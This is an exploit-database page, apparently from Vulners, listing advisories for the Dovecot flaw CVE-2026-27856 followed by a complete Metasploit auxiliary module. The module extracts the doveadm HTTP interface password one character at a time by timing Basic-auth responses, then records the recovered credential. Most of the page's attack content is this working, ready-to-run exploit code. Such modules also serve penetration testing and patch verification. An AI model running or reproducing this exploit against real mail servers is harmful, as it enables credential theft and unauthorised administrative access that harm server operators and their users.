| Reporter | Title | Published | Views | Family All 53 |
|---|---|---|---|---|
| CVE-2026-27856 | 27 Mar 202608:10 | – | attackerkb | |
| Amazon Linux 2023 : dovecot, dovecot-devel, dovecot-mysql (ALAS2023-2026-1570) | 13 Apr 202600:00 | – | nessus | |
| Amazon Linux 2 : dovecot, --advisory ALAS2-2026-3252 (ALAS-2026-3252) | 30 Apr 202600:00 | – | nessus | |
| Debian dsa-6197 : dovecot-auth-lua - security update | 5 Apr 202600:00 | – | nessus | |
| openSUSE 16 Security Update : dovecot24 (openSUSE-SU-2026:20554-1) | 22 Apr 202600:00 | – | nessus | |
| SUSE SLES12 Security Update : dovecot22 (SUSE-SU-2026:1641-1) | 2 May 202600:00 | – | nessus | |
| SUSE SLES16 Security Update : dovecot24 (SUSE-SU-2026:21208-1) | 22 Apr 202600:00 | – | nessus | |
| Ubuntu 22.04 LTS / 24.04 LTS / 25.10 : Dovecot vulnerabilities (USN-8136-1) | 31 Mar 202600:00 | – | nessus | |
| Linux Distros Unpatched Vulnerability : CVE-2026-27856 | 28 Mar 202600:00 | – | nessus | |
| Important: dovecot | 30 Apr 202600:00 | – | amazon |
==================================================================================================================================
| # Title : Dovecot doveadm Timing Attack Credential Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot doveadm Timing Attack Credential Extraction',
'Description' => %q{
Timing-based credential analysis module.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27856']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'doveadm endpoint', '/doveadm']),
OptString.new('CHARSET', [true, 'Charset', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789']),
OptInt.new('MAX_LENGTH', [true, 'Max length', 32]),
OptInt.new('SAMPLES', [true, 'Samples per char', 10]),
OptInt.new('THRESHOLD', [true, 'Threshold ms', 10])
])
end
def run_host(ip)
print_status("Dovecot Timing Attack CVE-2026-27856")
print_status("Target: #{peer}")
credential = extract_credential_timing
if credential.nil? || credential.empty?
print_error("Extraction failed")
return
end
print_good("Extracted credential: #{credential}")
report_credential(credential)
end
def extract_credential_timing
credential = ""
charset = datastore['CHARSET'].to_s.chars
(1..datastore['MAX_LENGTH']).each do |_pos|
best_char = nil
best_time = 0.0
charset.each do |char|
test_cred = credential + char
times = []
datastore['SAMPLES'].times do
start_time = Time.now
test_auth(test_cred)
finish_time = Time.now
times << ((finish_time - start_time) * 1000.0)
end
next if times.empty?
avg_time = times.sum.to_f / times.length
vprint_status("Testing '#{test_cred}': #{avg_time.round(2)}ms")
if avg_time > best_time
best_time = avg_time
best_char = char
end
end
break if best_char.nil?
credential += best_char
print_status("Progress: #{credential} (#{best_time.round(2)}ms)")
break if best_time < datastore['THRESHOLD'].to_f
end
credential
end
def test_auth(credential)
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI']),
'method' => 'GET',
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("doveadm:#{credential}")}"
}
})
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionError
nil
end
def report_credential(credential)
service_data = {
address: rhost,
port: rport,
service_name: 'doveadm',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: 'doveadm',
private_data: credential,
private_type: :password
}.merge(service_data)
create_credential(credential_data)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation